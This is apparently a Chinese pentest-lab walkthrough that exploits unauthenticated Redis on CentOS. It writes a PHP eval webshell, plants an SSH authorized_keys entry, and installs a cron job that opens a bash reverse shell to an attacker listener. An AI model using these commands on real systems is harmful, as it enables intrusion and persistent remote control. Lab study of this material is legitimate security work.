本篇文章将详细介绍如何通过 Redis 服务漏洞进行 WebShell 写入,利用 SSH 公钥实现免密登录,并利用计划任务反弹 Shell 的过程,尤其适用于渗透测试与靶场搭建。我们将按步骤逐一讲解每个环节的操作技巧与防御措施,以帮助安全研究人员理解并应对这些攻击手段。
靶场搭建
环境简介
centos-1 192.168.29.158
centos-2 192.168.29.165
靶场:discuz
centos-1搭建过程:
搭建discuz
首先搭建apache服务器
yum install -y httpd httpd-devel
service httpd.service start //开启apache服务
service httpd.service status //查看apache状态
yum -y install mariadb mariadb-server mariadb-libs mariadb-devel //安装
service mariadb.service start //启动mariadb服务
service mariadb.service status //查看状态
netstat -an //查看端口
安装php,将php和mysql关联起来
yum install -y php
yum -y install php-mysql
#### 将下载的discuz放到/var/www/html下
ps:网盘中的discuz没有discuz文件,只会有其他文件,所以其他在/var/www/html下创建个discuz文件夹
chown apache:apache -R upload/ //赋予所属组
chmod -R 777 upload/ //赋予可读可写可执行权限
service httpd.service restart //这里如果已经安装了httpd就重启一下服务就好
service mariadb.service restart //同上
service firewalld stop //关闭防火墙
这里都是不可写,需要修改/etc/selinux/config,修改完重启虚拟机 reboot
重启完成后开启apache服务和mariadb服务,再次访问就是可写
vim /etc/selinux/config
**reboot 重启**
**重启下http服务和mariadb服务**
service httpd.service restart //这里如果已经安装了httpd就重启一下服务就好
service mariadb.service restart //同上
service firewalld stop //关闭防火墙
数据库密码设置为空,因为我们没有设置密码
管理员密码任意
redis搭建
1.下载redis包 解压进入redis目录
2.make编译
3.然后编译完成进入/src目录
4.将redis-cli redis-server复制到/usr/local/bin目录下,如此可以在任意目录下运行redis服务
报错问题解决方案
第一次执行make时候,出现以下报错,解决方案为安装gcc
make[3]: gcc:命令未找到
make[3]: *** [net.o] 错误 127
make[3]: 离开目录“/usr/local/src/redis-5.0.8/deps/hiredis”
make[2]: *** [hiredis] 错误 2
make[2]: 离开目录“/usr/local/src/redis-5.0.8/deps”
make[1]: [persist-settings] 错误 2 (忽略)
CC adlist.o
/bin/sh: cc: 未找到命令
make[1]: *** [adlist.o] 错误 127
make[1]: 离开目录“/usr/local/src/redis-5.0.8/src”
make: *** [all] 错误 2
解决:yum -y install gcc gcc-c++
第二次执行时候,报错以下内容
zmalloc.h:50:31: 致命错误:jemalloc/jemalloc.h:没有那个文件或目录
解决方案为: make MALLOC=libc
cd到src目录下
cd /src
执行redis-server,出现以下界面说明搭建成功一半,另一半自己重新开一个终端,执行redis-cli ,出现第二张图示例说明搭建成功
centos-2搭建过程:
只需要安装下redis服务,重复以上操作即可,或者直接克隆一个即可。
利用 Redis 写入Webshell
环境简介
写入webshell,未授权访问centos-1
ps:看下centos开启redis没有,开启下服务 redis-server
redis-cli -h 192.168.29.158
192.168.29.158:6379> config set dir /var/www/html/
OK
192.168.29.158:6379> config set dbfilename shell.php
OK
192.168.29.158:6379> set xxx "<?php eval($_POST[pass]);?>"
OK
192.168.29.158:6379> save
OK
192.168.29.158:6379>
ps:在第三步的时候也可以使用
set xxx "\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n"
访问成功写入
利用 Redis 写入 SSH 公钥进行登录
环境简介
kali 192.168.29.128
靶机 192.168.29.158
kali安装redis,使用上面的redis安装包,解压后直接编译就行,编译命令:make
接着将 /src 目录下的 redis-server 和 redis-cli 复制到 /usr/local/bin 下即可
Ps: 需要重新开一个终端,不然在之前开启的终端上输入: redis-cli 还是红色
首先在攻击机的/root/.ssh目录里生成ssh公钥key:
ssh-keygen -t rsa 选项全部默认即可
接着将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合)
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /root/.ssh/key.txt
将key.txt文件内容写入服务端Redis的缓冲里:
cat /root/.ssh/key.txt | redis-cli -h 192.168.43.82 -x set xxx
使用攻击机连接目标机器Redis,设置Redis的备份路径为/root/.ssh/和保存文件名为authorized\_keys,并将数据保存在目标服务器硬盘上
但是执行的时候,发现报错,提示内容为:
(error) ERR Changing directory: No such file or directory
意味着:没有这样的文件或目录
原因是我centos(192.168.29.158)没有启动过ssh,所以没有那个目录,使用命令: ssh localhost 即可
完整命令:
redis-cli -h 192.168.29.158
config set dir /root/.ssh
config set dbfilename authorized_keys
save
ssh 成功实现公钥登录
利用 Redis 写入计划任务反弹shell
环境简介
首先在攻击机kali上开启监听:
nc -lvp 2333
然后连接服务端的Redis,写入反弹shell的计划任务:
redis-cli -h 192.168.29.158
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.29.128/2333 0>&1\n\n"
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save
Ps:这个方法只能Centos上使用,Ubuntu上行不通,原因如下:
因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/<username>权限必须是600也就是-rw———-才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/<username>权限644也能执行
因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错
由于系统的不同,crontrab定时文件位置也会不同:
Centos的定时任务文件在/var/spool/cron/<username>
Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>
复现过程
redis-cli -h 192.168.29.158
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.29.128/2333 0>&1\n\n"
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save
个人理解:这里它写的路径为 /var/spool/cron/crontabs
要么就是创建crontabs
要么就是在这个目录下创建机会任务
但是使用 config set dir /var/spool/cron/crontabs/ 现实没有这个目录,那么就排除是创建的意思
因为在靶场上 /var/spool/cron 这个目录是默认是存在的, /var/spool/cron/crontabs默认是不存在的
最终实操:将目录更改为 /var/spool/cron 即可
通过计划任务,成功反弹shell
靶机上也看到存在计划任务
使用 crontab -r 删除计划任务
crontab -l 查看计划任务
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)